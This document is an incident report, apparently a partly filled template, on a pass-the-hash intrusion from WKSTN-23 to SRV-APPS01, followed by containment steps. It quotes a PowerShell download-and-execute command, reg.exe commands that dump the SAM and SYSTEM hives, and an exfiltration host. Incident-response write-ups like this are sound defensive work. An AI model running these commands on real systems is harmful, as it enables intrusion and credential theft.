

Incident Report

2025-11-11

Title:

Date:

Alert Type/Category:

Severity: Low / Medium / High / Critical

Analyst Name:

Case #:

DETECTION AND ANALYSIS

Alert Summary:

The user account ola.hansen was observed executing "psexec.exe" with the optional flag "-hashes" to authenticate on the host. In the logs we see that this results in the execution of PowerShell with the privileges of "NT AUTHORITY\SYSTEM" account on the destination host SRV-APPS01. This follows the pattern of a pass-the-hash where an attacker uses the NTLM hash of a local user from one system to elevate privileges on a different host.

The result in this case is the execution of the following PowerShell command on SRV-APPS01:

```
powershell.exe -c "(New-Object  
System.Net.WebClient).DownloadString('http://192.168.45.199/payloads/run.txt') | IEX"
```

This leads to the download of the file run.txt from the IP-address 192.168.45.199 which is subsequently opened with the Invoke-Expression command, resulting in execution of the string contents of the file.

From the subsequent activity it appears that this file contains the following command:

```
cmd.exe /c reg.exe save HKLM\SAM C:\Windows\Temp\SAM.bak /y & reg.exe save HKLM\SYSTEM  
C:\Windows\Temp\System.bak /y
```

This command line saves a copy of specified subkeys, entries, and values of the registry in a specified file [1]. The file with these contents appears to then be exfiltrated towards the url odd-lilac-weasel.zone:4444

References:

[1] <https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg>

Key Details:

Source host: WKSTN-23

Source user: ola.hansen

Destination host: SRV-APPS01

Destination user: SILVERLINE\svc_deploy

Privilege escalation user: NT AUTHORITY\SYSTEM

NTLM Hash: 9f1c2a4d7e8b0c3f5a6d1e2b4c7a8f01

Consequence:

This could indicate that an attacker has dumped credentials from WKSTN-23 and has used the hash of NT AUTHORITY\SYSTEM to elevate privileges on the host SRV-APPS01 and retrieved all subkeys, entries and values of the HKLM\SAM and HKLM\SYSTEM registries on the system.

CONTAINMENT

Executed Remediation Actions:

- Isolated both endpoints
- Disabled the user account ola.hansen and revoked active sessions

Recommended Remediation Actions:

- Investigate the scope of the attack to identify other compromised hosts and/or user accounts
- Consider re-imaging the involved host and rotating passwords for users that have used WKSTN-23